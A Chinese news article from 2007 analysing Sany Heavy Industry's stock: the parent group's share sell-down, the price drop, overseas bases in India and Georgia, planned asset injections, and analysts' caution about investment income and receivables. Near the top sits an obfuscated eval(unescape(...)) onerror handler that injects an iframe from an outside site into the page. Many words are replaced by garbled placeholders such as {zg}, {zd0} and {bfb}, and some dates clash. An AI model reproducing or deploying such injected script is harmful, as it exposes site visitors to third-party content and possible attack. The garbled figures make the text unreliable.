高估三一重工:工程机械的"另类进攻者"

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

11 月1日,三一重工(600031.SH)公告:2007年8月21日至10月31日期间,三一集团、三一汽车共从二级市场减持公司1217.9621万股,占公司总股本的1.23%。

      当日,此前一直走强的三一重工应声下跌6.13%。翌日,再跌5.05%。两天的时间,公司股价就从65元的价位猛跌到56元左右。11月19日,三一重工收到50.23元,较之11月25日{zg}的68元,已经下跌26%。

      "三一重工此次减持给机构提供了{zh0}吸货良机。"一位来自河北石家庄的新浪网民如此评价。

      事实上,在三一集团抛售股票的时间区域内,的确有大量基金在吃货。这一点,不仅从公司三季报xx流通股股东名册可以窥探,而且从各大券商毫不吝啬的"推荐、买入"评级也可得知。

      一个从2003年上市至今4年时间,股价涨了20倍的工程机械行业"另类进攻者"——三一重工,难道真的克服了这个行业固有的周期桎梏,不断疯长,未有穷期?

      国际化消解宏观调控

      "公司发展不是过快,而是过慢。"2003年6月,三一重工上市之时,公司创始人、董事长梁稳根语出惊人。

      2001年和2002年度,三一重工主营业务收入同比分别增长40.18%和78.90%;净利润同比分别增长了52.20%和129.99%。而2003年,公司完成主营业务收入20.88亿,净利润达到3.25亿,同比分别增长112%和55%。

      但到2004年,"受国家宏观调控影响,工程机械行业持续多年的快速增长势头趋缓,市场竞争进一步加剧"(2004年年报),三一重工滑入长达两年的"箱底整理"期。

      "面对宏观调控,不同的企业有不同的应对策略。2004年到2005年间,我们反向操作,积极做好产能扩张,建了五大产业园,进行研发布局,成立六大研究院,并且搭建全国营销网络。因为我们认为,越是行业的低谷,成本越低。现在十倍的投入不及当时一倍投入的效果。公司此后新的增量就来自于当时的布局。"三一重工董秘赵想章对记者说。

      两年宏观调控"冰河期"解冻后,三一重工强劲复苏:2006年主营业务收入和净利润同比几乎都翻了一番,分别高达45.74亿和5.57亿。

      开拓海外市场,也是三一重工迅速翻身的重要因素。

      早在2004年,为了应对国内宏观调控,三一重工国际市场开拓发力,销售增长超过400%。2005年,三一重工全年出口实现销售收入1.84亿元,较去年同期增长166%。2006年,公司全年实现出口4.77亿元,较2005年增长159.51%。

      2006年11月,三一重工与印度马邦政府签定了投资6000万美元的投资备忘录,拟在印度建立工程机械生产基地,这是迄今为止中国在印度的{zd0}一笔直接投资。

      2007年9月,三一重工在美国乔治亚州征地220英亩,投资6000万美元设立了工程机械制造基地,计划在五年内实现5亿美元的产能。

      "美国乔治亚州土地的{yj}使用权,比在国内购买还便宜。通过这个基地,我们可以覆盖北美和南美市场,而北美是全球工程机械{zd0}市场。"赵想章微笑拂面,"国内宏观调控,总不会全球宏观调控吧。"

      集团孵化助推增长

      "预计今后几年,公司的主营业务收入和净利润保持30%到50%的增长的是可以实现的。如果要达到每年50%,就要考虑到资产注入了。"招商证券研究员刘荣称三一重工为工程机械业的"另类进攻者",她认为三一重工要想疯长,还得依靠外延式的资产置入。

      早在上市之初,三一集团就有成为三一重工孵化器的功能设置:将集团培育成熟的工程机械产品置入上市公司,输送新鲜利润。而这个初衷,在2005年三一重工完成"中国股改{dy}股"蜕变后,变得迫不及待了。

      2007年7月,三一重工以非公开发行 3200万股,发行价格为33.00元/股,实际募集资金10.31亿元,公司已用募集资金8亿元收购了北京三一重机{bfb}股权。根据北京三一重机盈利预测报告,预计2007年公司将实现主营业务收入5.15亿元,净利润1.4亿元。

      长江证券研究员黄振认为,三一重工的主营产品有混凝土机械、路面机械以及履带起重机,而母公司三一集团还拥有挖掘机、汽车起重机、煤炭机械以及港口机械等资产,集团2006年销售液压挖掘机接近700台,预计今年全年产量将会超过1500台。三一重工作为集团公司的工程机械资产运作平台,集团公司有可能陆续将其他工程机械资产注入上市公司,从而进一步完善公司的产品结构。

      "我们在昆山的挖掘机,现在已经盈利了。预计全年有10多个亿收入,过亿利润。而在长沙的汽车起重机,已经研发了几年,今年预计达到1000多台的销量,每台的售价在70多万。明年将成为高成长产品。另外,在邵阳的湖南汽车制造厂的卡车底盘和搅拌车,已经有3个多亿的收入。"赵想章并不讳言这些资产一旦优质都将择机注入上市公司。

      高估另类进攻者

      大盘震荡,三一重工股价扶摇直上。10月25日,谜底揭开:公司前三季度实现营业收入69.75 亿元,比上年同期增长80.48%;实现净利润13.45 亿元,比上年同期增长157.82%;每股收益1.39元,业绩超出预期。

      "得益于行业景气、公司各产品全面开花和出口同比277%的高增长。"中信证券研究员郭亚凌分析说。

      三一重工业绩超出预期的另一个主要原因,是三季度投资收益超预期。

      三一重工1-9月短期投资已实现收益和账面收益合计4.83亿元,其中第三季度投资收益就达到2.8亿左右,占三季度税前利润超过45%。剔除投资收益的贡献,三季度公司税前利润仅为二季度72%,其主要原因是三季度淡季收入环比略有下降,毛利率也下降近2个百分点,且管理费用环比增长较大。

      "我并不担心三一的盈利能力和财务状况,自上市以来,公司的产品市场占有率在提高,毛利率也维持在一个较高的水平,存货和应收账款情况虽然已有改善,但还可以再改善,尤其是应收帐款。"泰阳证券研究所副所长刘亚辉博士置评。

      数据显示,三一重工销售毛利率近三年(2005,2006,2007前三季)都维持在35%以上,比2004年的32.13%略高。另外,公司存货情况有所好转,以近4年(2004,2005,2006,2007前三季)来看,存货占总资产比例从前3年的平均25.47%下降到了2007前三季的18%;存货周转率从前3年的平均1.87倍上升到2007前三季的2.55倍。

      但从三一重工应收账款来看,情况不妙:2007前三季,公司应收账款占总资产比例为20%,高于前4年的任何一年;应收账款周转率为4.73,低于2004年和2006年,只比公司业绩{zd1}谷之2005年的4.21高出一点点。

      "股票投资收益对公司业绩影响已经非常大且较难预测,我们调整了对公司的业绩预测方式,不考虑短期投资收益贡献,我们仍维持2008年EPS1.81元的业绩预测,维持'推荐'评级。"国信证券研究员余爱斌并没有给出三一重工具体的价格。

      对于传统行业的工程机械企业,三一重工,擅长二级市场投资,实在是有些"另类"。"三一非常看重投资收益,像专业的机构在运作,不光是做A股,还做港股。我想说的是,公司基本面好,投资收益可以起到锦上添花的作用。"齐鲁证券研究员孙绍冰如此研判。